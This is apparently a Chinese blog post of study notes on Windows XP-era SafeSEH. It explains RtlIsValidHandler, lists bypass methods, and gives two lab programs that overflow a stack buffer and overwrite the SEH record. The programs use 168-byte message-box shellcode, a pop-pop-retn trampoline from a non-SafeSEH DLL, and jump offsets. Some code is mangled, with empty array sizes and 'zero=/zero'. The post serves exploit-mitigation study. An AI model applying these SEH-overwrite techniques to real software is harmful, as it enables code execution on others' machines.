SafeSEH 对异常处理的保护原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
Copyright (C) Microsoft Corporation. All rights reserved. Dump of file gs.exe File Type: EXECUTABLE IMAGE Section contains the following load config: size
time date stamp
0.00 Version
GlobalFlags Clear
GlobalFlags Set
Critical Section Default Timeout
Decommit Free Block Threshold
Decommit Total Free Threshold
Lock Prefix Table
Maximum Allocation Size
Virtual Memory Threshold
Process Heap Flags
Process Affinity Mask
CSD Version
Reserved
Edit list
Security Cookie
004021C0 Safe Exception Handler Table
Safe Exception Handler Count Safe Exception Handler Table Address
--------
004017F5 __except_handler4 Summary .data
.rdata
.reloc
.rsrc
.text

SafeSEH 机制从 RtlDispatchException() 开始:

. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

 BOOL RtlIsValidHandler( handler )
{
if (handler is in the loaded image) // 在加载模块的内存空间内
{
if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
return FALSE; // 程序设置了忽略异常处理
if (image has a SafeSEH table) // 含有 SafeSEH 表说明程序启用了 SafeSEH
if (handler found in the table) // 异常处理函数地址在表中
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // 包含 IL 标志的 .NET 中间语言程序
} if (handler is on non-executable page) // 在不可执行页上
{
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP 关闭
else
raise ACCESS_VIOLATION; // 访问违例异常
} if (handler is not in an image) // 在可执行页上,但在加载模块之外
{
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许加载模块内存空间外执行
else
return FALSE;
}
return TRUE; // 允许执行异常处理函数
}

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

利用未启用 SafeSEH 的模块绕过 SafeSEH

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

 // Windows XP Sp3 & VC++6.0
// Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project
// Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining )
// Compile : SEH_NOSafeSEH_JUMP.DLL
//
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
// #include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
} void jump()
{
__asm {
pop eax
pop eax
retn
}
}

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=

OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。(但自己写进去的 pop eax, pop eax, retn 没有找到,却在 0x111211B6 处找到了一个 pop,pop,retn 的指令序列,先不管了,直接用)

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

 // safeseh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x90\x90\xB6\x11\x12\x11" // SEH Pointer & Handler
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
; DWORD MyException(void)
{
printf("call MyException()");
getchar();
return ;
} void test(char * input)
{
char str[];
strcpy(str,input); int zero=;
__try
{
zero/=zero;
}
__except (MyException())
{
}
} int main(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));
printf("hInst : %d\n",hInst);
char str[];
//__asm int 3
test(shellcode);
return ;
}

实验中使用 pop pop retn 作为跳板,所以 shellcode 需要放置在 SEH Handler 的后面,因为触发异常后,执行异常处理过程中栈帧 esp+8 的位置会保存 next SEH handler 的地址。

书中提到一个需要注意的细节:VS2008 编译的程序,在进入 __try {} __except{} 指令块时,会在 Security Cookie + 4 的位置压入状态值 -2(VC++6.0 下为 -1),进入 __try 区域时程序会根据该 __try 块在函数中的位置而将这个状态值修改成不同的值。若函数中有两个 __try 块,则进入第一个 __try 块时这个值会被修改为 0,进入第二个 __try 块时被修改为 1。如果在 __try 中出现异常,程序会依据这个值来决定调用哪个异常处理函数,处理结束后这个值又会被修改回 -2。如果没有发生异常,则在离开 __try 块时这个值会被重新修改为 -2。这个值在异常处理过程中还有其他用途,以后可以跟踪。Security Cookie 紧跟在 SEH 后,所以这个值位于 SEH + 8 的位置(注意 SEH 本身会占用 8 字节的空间),由此可知,异常触发后,因为是进入函数中的第一个也是唯一一个 __try 块,所以 SEH + 8 的内存会被修改为 0。为了避免 shellcode 受此影响,SEH 之后并不直接写入 shellcode,而是用 8 字节的数据填充(见上述代码第 25 行)——前 4 字节覆盖了 Security Cookie,后 4 字节覆盖前面提到的 __try 块的状态值。

异常触发后,在执行异常处理函数时,会压入一个新的栈帧,在这个新的栈帧中,esp + 8 的位置存储了 next SEH,即转入当前异常处理函数时的那个 SEH,也即是在异常触发前最顶层的那个被覆盖了的 SEH。由此,pop pop retn 后,会执行代码第 24 行用来覆盖 SEH 的代码。原本可用 8 个 nop 填充 SEH,但我自己实验时发现,被修改为 0 的 __try 状态值会使程序无法正常执行,所以要跳过 __try 块的状态值。这里使用书中提供的方法,即在 pop pop retn 后直接使用短跳指令 0xEB : JMP short Jb - 机器码为 0xEB 0x0E,向前跳 0x0E 个字节(见代码第 24 行)。

利用加载模块之外的指令作为跳板

 // safe_seh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]= // 216 bytes to next seh
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 bytes shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90" // 40 bytes nops
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90" // far jump and nops : jmp -213
"\xEB\xF6\x90\x90" // short jump and nops
"\x0B\x0B\x28\x00" // addr of trampolining : call [ebp+0x30]
; DWORD MyException(void)
{
printf("exception caught.");
getchar();
return ;
} void test(char* input)
{
char str[];
strcpy(str,input);
int zero=;
__try{
zero=/zero;
}
__except(MyException())
{
}
} int _tmain(int argc, _TCHAR* argv[])
{
test(shellcode);
return ;
}

shellcode 准备完备之前,先用 OllyDbg Plugin : OllyFindAddr - Overflow Return Address - Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后,打开 OllyDbg 的 Log,并与 OllyDbg Plugin : SafeSEH 的结果对比(SafeSEH 结果中 SafeSEH ON 的模块均有 SafeSEH 保护),在非加载模块(EXE/DLL)的地方(Module : Unknow)找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。(参照书中的引导,完成 shellcode 之后,经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct,即代码中的第 24 行)

跳板地址含有 0x00,所以 shellcode 只能放置在 SEH structure 之前,这里又用到了上一个实验中使用的 jmp 向前跳的方法,而且还用了两次:第一次向前跳 10 字节(第 24 行,向前跳以 jmp 指令的下一条指令地址为基址,所以此处向前跳 8 个字节,但指令为 jmp -10,因为 jmp -10 本身占用 2 个字节),第二次向前跳 215 字节,用的是长跳指令 0xE9 : JMP near Jz

IE 中利用未启用 SafeSEH 的模块绕过 SafeSEH 保护

书中使用 Flash Player 9.0.124(最后一个不支持 SafeSEH 的 FlashPlayer 版本)和自定义的含溢出漏洞的 COM 组件进行实验,踏板地址选择 Flash Player 组件中的 call [ebp+0xc] 所在的地址。我跟了一下,[ebp+0xc] 和 [ebp+0x30] 都指向 next SEH structure

OD: SafeSEH的更多相关文章

  1. safeseh+dep保护绕过

    [文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       ...

  2. SEH, SAFESEH相关

    SEH, SAFESEH相关 1,触发seh异常让目标程序Read/Write无效地址,如果和栈底相邻的内存只读,尝试覆盖超出栈底 2,如何找到(显示)要覆盖的SEHod语法:dd fs:[0]sof ...

  3. Linux之od命令详解

    功能说明:输出文件内容.语 法:od [-abcdfhilovx][-A <字码基数>][-j <字符数目>][-N <字符数目>][-s <字符串字符数&g ...

  4. 基本shell编程【3】- 常用的工具awk\sed\sort\uniq\od

    awk awk是个很好用的东西,大量使用在linux系统分析的结果展示处理上.并且可以使用管道, input | awk ''  | output 1.首先要知道形式 awk 'command' fi ...

  5. od 查看特殊格式的文件内容

    用户通常使用od命令查看特殊格式的文件内容.通过指定该命令的不同选项可以以十进制.八进制.十六进制和ASCII码来显示文件. 语法: od [选项] 文件- 命令中各选项的含义: - A 指定地址基数 ...

  6. 游戏外挂四之利用CE和OD查找被选中怪物和怪物列表

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入)Q  Q:408365330     E-Mail:egojit@qq.com 这一节我们利 ...

  7. OD调试17

    程序先出现一个nag 然后出现主窗口 然后出现第二个nag窗口        我们查个壳   没有壳 那就载入OD看看,继续用调用堆栈的方法 发现一直执行用的都是这一个call,最后执行到程序结束.之 ...

  8. OD调试16

    今天还是15的那个程序,但是呢,换一种方法去掉NAG窗口 用OD载入,暂停,查看调用的堆栈 先看最后一个    查看调用,下断点 往上看看,找到入口的地方,设下断.点,重载,运行,单步 通过单步发现 ...

  9. OD调试15

    可以达到不脱壳的妙用.含义:把补丁写入程序代码,就叫内嵌补丁 那我们先看看今天的程序 是一个写DVD目录的程序,点continue就可以进入使用了      发现一个还有29天 就过期了   ,点en ...

随机推荐

  1. js 实现分割条

    js 实现 切分条效果, 为了熟悉js  写法,纯javascript 脚本编写 简单介绍几个函数: setCapture()函数的作用就是将后续的mouse事件都发送给这个对象, releaseCa ...

  2. Deprecated: Call-time pass-by-reference has been deprecated in E:\wamp\www\admin\htdocs\busi.php on line 381

    Deprecated: Call-time pass-by-reference has been deprecated in E:\wamp\www\admin\htdocs\busi.php on ...

  3. Python自动化运维之16、线程、进程、协程、queue队列

    一.线程 1.什么是线程 线程是操作系统能够进行运算调度的最小单位.它被包含在进程之中,是进程中的实际运作单位. 一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行 ...

  4. Excel--java POi

    import java.io.File; import java.io.FileOutputStream; import org.apache.commons.io.FileUtils; import ...

  5. iOS证书快要过期怎么办?

    说法一: 1.先revoke你的Certificate,重新生成一个新的. 2.Edit一下你的证书,选择新的Certificate. 3.下载覆盖之前的证书,就可以了. 这个帐号发布的产品不会受到影 ...

  6. 朗科U903 低级格式化后,量产错误:read onlypage (控制器芯片群联2251-03)的解决方案

    1. 下载群联量产工作 MPALL v3.63.0D for Netac 2. 在Setting页面,选择如下(红色矩形选中): 3. 然后执行量产,量产完成后,重新插拔就能看到U盘.

  7. 解决octave for windows安装包无法通过SourceForge下载的问题

    近期SourceForge访问不了,可以通过访问SourceForge的ftp镜像ftp://sourceforge.nchc.org.tw/进行下载: ftp下载工具可以使用FileZilla,可在 ...

  8. 最近国外很拉风的,,基于.net 的一个手表

    site:http://agentwatches.com/ 这个项目是一个国外工作室,筹集资金 创立的. 直接用c# 代码编译显示在手机上.能和智能手机通信等. 并且是开源的. 很酷 其次.它提供了. ...

  9. android环境下两种md5加密方式

    在平时开发过程中,MD5加密是一个比较常用的算法,最常见的使用场景就是在帐号注册时,用户输入的密码经md5加密后,传输至服务器保存起来.虽然md5加密经常用,但是md5的加密原理我还真说不上来,对md ...

  10. 如何创建WIN服务

    sc create ServiceName binPath= "XXXX.exe" displayName= "中文xxxx"binpath和displayna ...